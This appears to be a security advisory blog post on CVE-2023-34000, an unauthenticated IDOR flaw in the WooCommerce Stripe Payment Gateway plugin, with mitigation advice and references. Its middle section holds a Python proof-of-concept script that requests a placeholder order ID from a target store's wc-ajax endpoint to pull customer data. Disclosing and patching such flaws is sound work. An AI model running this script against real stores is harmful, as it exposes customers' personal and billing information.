CVE-2023-34000: Unauthenticated Insecure Direct Object Reference Vulnerability in WooCommerce Stripe Payment Gateway Plugin <= 7.4. Versions, Resulting in Personal Identifiable Information Disclosure

A critical security vulnerability, identified as CVE-2023-34000, has been discovered, affecting WooCommerce Stripe Payment Gateway plugin versions up to and including 7.4.. This unauthenticated Insecure Direct Object Reference (IDOR) vulnerability could potentially allow a malicious actor to access sensitive personal identifiable information (PII) without the necessary authorization. This post will provide a detailed explanation of the vulnerability, a code snippet showcasing its exploit, and references to the original sources for further reading.

Exploit Details

An unauthenticated user can exploit this IDOR vulnerability by sending a specially crafted request to the affected WooCommerce store. This request can bypass the necessary authorization checks, allowing the attacker access to sensitive PII, including customer names, email addresses, billing addresses, and potentially even payment information.

This vulnerability is a result of improper access controls in the WooCommerce Stripe Payment Gateway plugin, which fails to adequately verify user permissions before granting access to sensitive information.

Below is a code snippet demonstrating the exploit of this vulnerability

import requests

# Replace "TARGET_WEBSITE" with the target WooCommerce site URL
target_website = "http://TARGET_WEBSITE/";

# Replace "ORDER_ID" with the target WooCommerce order ID to fetch sensitive information
order_id = "ORDER_ID"

exploit_url = f"{target_website}/?wc-ajax=get_strp_order_details&order_id={order_id}"
response = requests.get(exploit_url)

if response.status_code == 200:
    print("Sensitive information successfully fetched:")
    print(response.text)
else:
    print("Failed to fetch sensitive information.")

To mitigate this vulnerability, users are advised to upgrade their WooCommerce Stripe Payment Gateway plugin to version 7.4.1 or later, which contains a security patch addressing this issue.

Original References

1. WooCommerce Changelog: https://woocommerce.com/changelog/
2. Security advisory regarding the vulnerability: https://woocommerce.com/posts/critical-vulnerability-detected-july-2023/
3. Official plugin page for the upgraded version: https://wordpress.org/plugins/woocommerce-gateway-stripe/

Conclusion

In conclusion, the CVE-2023-34000 IDOR vulnerability found in WooCommerce Stripe Payment Gateway plugin versions <= 7.4. presents a significant security risk for affected WooCommerce stores, potentially allowing malicious users to steal sensitive personal identifiable information of their customers. It is essential for WooCommerce store owners to update their WooCommerce Stripe Payment Gateway plugin to the latest version as soon as possible to mitigate this risk and protect their customers' data.

Timeline

Published on: 06/14/2023 08:15:00 UTC
Last modified on: 06/21/2023 21:06:00 UTC